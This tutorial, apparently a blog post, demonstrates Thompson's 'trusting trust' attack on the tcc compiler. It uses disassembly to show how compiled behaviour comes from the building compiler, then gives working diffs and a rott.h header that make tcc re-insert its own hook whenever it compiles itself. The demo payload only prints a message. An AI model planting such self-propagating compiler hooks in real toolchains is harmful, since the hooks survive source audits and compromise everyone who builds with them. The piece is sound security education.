A little more tangible, worked example of Ken Thompson’s excellent paper, Reflections on Trusting Trust, first published in Communication of the ACM, Vol. 27, No. 8, August 1984, pp. 761-763. Reprinted on the web at http://cm.bell-labs.com/who/ken/trust.html ; go read that first if you haven’t.

Introduction: Escape Codes

Here’s the bit of code that returns the newline character (in tccpp.c, as of revision release_0_9_26-308-g26b26f3):

1685 /* evaluate escape codes in a string. */
1686 static void parse_escape_string(CString *outstr, const uint8_t *buf, int is_long)
...
1696         if (c == '\\') {
1697             p++;
1698             /* escape */
1699             c = *p;
1700             switch(c) {
...
1747             case 'n':
1748                 c = '\n';
1749                 break;
...
1781             cstr_ccat(outstr, c);
...

So wait, we saw the literal sequence \n in the input and we’re defining it to emit '\n'. That’s right, yes, but who knows what \n means any more?

In the final assembler, this code turns into (you can get this with objdump -d -l tcc)

...tccpp.c:1697
  40816a:       4d 89 fd                mov    %r15,%r13
.../tccpp.c:1748
  40816d:       bb 0a 00 00 00          mov    $0xa,%ebx
  408172:       e9 8b f7 ff ff          jmpq   407902 <next_nomacro1+0xa2>

So who knows that '\n' means 0xa? The compiler that compiled tcc knew, and so even though the tcc source doesn’t have a clue, the resulting executable still does the right thing. (If you’re curious about this code in more detail see Appendix: Generated Code In More Detail).

So What? Or: Can You Believe Your Code?

What does your compiler know about what it’s building?

Everything!

So… do you think it could recognize when it’s building, say, a call to is_user_authorized(entered_username, entered_password)? Sure! But the code to do that would stand out like a sore thumb, right?

So… do you think the compiler could recognize when it’s building itself? Oh dear! We could

And then, we could delete our changes forever and the compiler would continue to do evil on our behalf, in a way that would pass any source-code audit.

A not-so-malicious Demo!

Rather than hacking an authorization check, let’s just cause tcc’s main() function to thank us for using a malicious compiler.

Consider the following:

$ cd src/tcc
$ make clean && rm -rf _inst*
$ grep . -re malicious
$ ./configure --prefix=$PWD/_inst.via-malicious --cc=$PWD/../tcc.rott/_inst.malicious-via-gcc/bin/tcc
[...]
$ make install clean
[...]
$ ./configure --prefix=$PWD/_inst.via-self-via-malicious --cc=$PWD/_inst.via-malicious/bin/tcc
$ make install clean
[...]
$ ./_inst.via-self-via-malicious/bin/tcc -o ex1 examples/ex1.c
Thanks for using a malicious compiler!
$

While working code exists below (Appendix: ROTTen Diffs), this exercise is much more informative in being done than being read. There’s a hint before the full solution, below, if you want.

Appendix: Generated Code In More Detail

if you look in the assembler, for the \n example above, it’s really not obvious how we get to 0x40816a. The instruction right before is an unconditional jump, and 0x40816a is not a direct jump target anywhere in the whole file! What’s going on?

What’s going on is a jump table. The switch statement of line 1700 has turned into the following curious assembler:

.../tccpp.c:1700
  407fbd:       83 e8 22                sub    $0x22,%eax
  407fc0:       3c 56                   cmp    $0x56,%al
  407fc2:       0f 87 26 03 00 00       ja     4082ee <next_nomacro1+0xa8e>
  407fc8:       0f b6 c0                movzbl %al,%eax
  407fcb:       ff 24 c5 00 30 42 00    jmpq   *0x423000(,%rax,8)

That is, given the value of c in %eax, subtract 0x22 (which, incidentally, is ASCII for the double quotation character and is the smallest value used in a case statement in this switch construct), compare the result to 0x56 (comparing c against 0x78, ASCII for x, the highest value used in a case statement). If larger, go to a default case at 0x4082ee. Otherwise… say hello to Intel.

Effectively, the next two operations compute the following expression:

0x423000 + (((c - 0x22) & 0xFF) << 3)

Which is using c as an index into an array of something 8 bytes wide at 0x423000. What’s there? More importantly, what’s at 0x423260, the computed value when c is 'n'? Using objdump -s, we find that this is part of the “read-only data” section of the executable, .rodata

423000 02814000 00000000 ee824000 00000000  ..@.......@.....
423010 ee824000 00000000 ee824000 00000000  ..@.......@.....
423020 ee824000 00000000 02814000 00000000  ..@.......@.....
...
423260 6a814000 00000000 ee824000 00000000  j.@.......@.....
...

Which is little-endian for 0x40816a! Look at that.

Appendix: ROTTen Diffs

The ROTTen demo above is also probably not obvious. I, again, strongly encourage you to work on it yourself before reading the solution presented here, as it is vastly more informative to figure out what happens when and so on.

I will be the first to admit, by the way, that this is probably the least subtle ROTT imaginable. The resulting compiler contains some, shall we say, rather incriminating strings. That’s merely expedience and laziness on my part and is not fundamental to the lessons here.

For starters, here’s the diff I had to make to the “stage one” compiler:

--- a/tccgen.c
+++ b/tccgen.c
@@ -19,6 +19,7 @@
  */

 #include "tcc.h"
+#include "rott.h"

 /********************************************************/
 /* global variables */
@@ -73,6 +74,8 @@ ST_DATA char *funcname;

 ST_DATA CType char_pointer_type, func_old_type, int_type, size_type;

+ROTT_STAGE1_DECLS
+
 /* ------------------------------------------------------------------------- */
 static void gen_cast(CType *type);
 static inline CType *pointed_type(CType *type);
@@ -4595,6 +4598,8 @@ static void block(int *bsym, int *csym, int *case_sym, int *def_sym,
     int a, b, c, d;
     Sym *s, *frame_bottom;

+    ROTT_STAGE1_BLOCK_PREFIX;
+
     /* generate line number info */
     if (tcc_state->do_debug &&
         (last_line_num != file->line_num || last_ind != ind)) {
--- a/tccpp.c
+++ b/tccpp.c
@@ -19,6 +19,7 @@
  */

 #include "tcc.h"
+#include "rott.h"

 /********************************************************/
 /* global variables */
@@ -1085,6 +1086,8 @@ ST_INLN Sym *define_find(int v)
 /* free define stack until top reaches 'b' */
 ST_FUNC void free_defines(Sym *b)
 {
+    ROTT_STAGE1_OUTPUT_PREFIX
+
     Sym *top, *top1;
     int v;

Once more, I strongly urge you to stop reading here. The above shows you where you can hook in tcc to get a decent fingerprint of what function is being built and where to do any post-processing. As another hint, almost all of the actual magic here is the same magic as in a quine: we need a program that can carry its own source or (something equivalent to it) around at runtime. Kleene’s Recursion Theorem is an amazing thing.

Since you kept reading, tho’, I assume you want to know what’s in rott.h. Here it is:

#define STRINGIFY(x) #x
#define XSTRINGIFY(x) STRINGIFY(x)

#define ROTT_RECURSE_FLAG 0x8000

#define ROTT_HOOK(rh_flag, rh_file, rh_fun, rh_hook) \
    if(!(do_rott_flags & (ROTT_RECURSE_FLAG | rh_flag)) \
         && !strcmp(file->filename, rh_file) \
         && !strcmp(funcname, rh_fun)) { \
        static CType hook_type; \
        do_rott_flags |= rh_flag; \
        hook_type.t = VT_FUNC; \
        hook_type.ref = sym_push(SYM_FIELD, &int_type, FUNC_CDECL, FUNC_OLD); \
        TokenSym *t = tok_alloc(rh_hook, sizeof(rh_hook)-1); \
        vpush_global_sym(&hook_type, t->tok); \
        gfunc_call(0); \
    } \

#define ROTT_STAGE1_BLOCK_PREFIX \
  ROTT_HOOK(0x1, "tcc.c", "main", "rott_main_hook") \
  ROTT_HOOK(0x2, "tccgen.c", "block", "rott_block_hook") \
  ROTT_HOOK(0x4, "tccpp.c", "free_defines", "rott_output_hook")

#define ROTT_FINISH_BUF \
      p = buf + strlen(buf); \
      for(; *i; i++) { \
        switch(*i) { \
         case '\\': \
         case '\"': \
           *p++ = '\\'; break; \
        } \
        *p++ = *i; \
      } \
      *p++ = '\"'; \
      *p++ = ';'; \
      *p++ = '\n'; \
      *p++ = '\000';

#define ROTT_STAGE1_OUTPUT_PREFIX \
    { \
    extern struct TCCState *tcc_state; \
    extern int do_rott_flags; \
    extern const char *rott_block_hook_body; \
    extern const char *rott_output_hook_body; \
    void *s = tcc_state; \
    if((do_rott_flags & 0x1) && !(do_rott_flags & ROTT_RECURSE_FLAG)) { \
      char buf[10000] = ""; \
      const char *i; \
      char *p; \
      do_rott_flags |= ROTT_RECURSE_FLAG; \
      strcat(buf,"int do_rott_flags;\n"); \
      strcat(buf,"void rott_block_hook(void);\n"); \
      strcat(buf,"void rott_block_hook() {"); strcat(buf, rott_block_hook_body); strcat(buf, "}\n"); \
      strcat(buf,"void rott_output_hook(void);\n"); \
      strcat(buf,"void rott_output_hook() {"); strcat(buf, rott_output_hook_body); strcat(buf, "}\n"); \
      strcat(buf,"void rott_main_hook(void);\n"); \
      strcat(buf,"void rott_main_hook(void) { printf(\"Thanks for using a malicious compiler!\n\"); }\n"); \
      strcat(buf,"char *rott_block_hook_body = \""); i = rott_block_hook_body; ROTT_FINISH_BUF; \
      strcat(buf,"char *rott_output_hook_body = \""); i = rott_output_hook_body; ROTT_FINISH_BUF; \
      tcc_compile_string(s, buf); \
      do_rott_flags &= ~(ROTT_RECURSE_FLAG | 0x1); \
    }}

#define ROTT_STAGE1_DECLS \
  int do_rott_flags; \
  const char *rott_block_hook_body = XSTRINGIFY(ROTT_STAGE1_BLOCK_PREFIX); \
  const char *rott_output_hook_body = XSTRINGIFY(ROTT_STAGE1_OUTPUT_PREFIX); \

Patch your source (I used a separate directory tcc.rott for this) and build it using your favorite C compiler. Then go back to your pristine source tree and run the demo above and marvel.